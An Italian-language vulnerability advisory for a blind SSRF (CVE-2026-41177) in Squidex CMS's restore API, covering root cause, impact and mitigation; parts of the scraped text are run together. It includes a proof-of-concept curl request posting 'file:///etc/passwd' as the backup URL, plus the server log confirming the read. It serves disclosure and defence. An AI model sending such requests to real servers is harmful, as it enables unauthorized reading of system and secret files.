
CVE-2026-41177, una vulnerabilità Blind SSRF in Squidex CMS (precedente alla v7.23.0). Include analisi della causa principale, passaggi di riproduzione e valutazione dell'impatto riguardante l'Interazione con File Locali (LFI).
Ricerca tecnica e analisi per CVE-2026-41177: una vulnerabilità di Server-Side Request Forgery (SSRF) cieca nell'API di ripristino di Squidex CMS.
/api/apps/restore)L'API di ripristino di Squidex è vulnerabile a Server-Side Request Forgery (SSRF) cieco. L'applicazione non riesce a validare lo schema URI del parametro Url fornito dall'utente, consentendo l'uso del protocollo file://. Ciò consente a un amministratore autenticato di forzare il server backend a interagire con il filesystem locale, portando a un'interazione con file locali (LFI) e alla potenziale divulgazione di informazioni sensibili di sistema attraverso l'analisi dei canali laterali dei log interni.
file:///etc/passwd).RestoreJob).204 No Content, i log interni del server rivelano che il server ha aperto e letto con successo il file prima di fallire perché il contenuto non era un archivio ZIP valido.Esegui il seguente comando curl (sostituisci <TOKEN> con un token admin valido):
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
Il seguente errore nei log del container Squidex conferma l'interazione interna con il file:
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
Nota: l'InvalidDataException conferma che il server ha acceduto e letto con successo i byte del file.
Questa vulnerabilità consente agli attaccanti autenticati di:
appsettings.json, segreti).http:// e https://.file:// prima dell'elaborazione.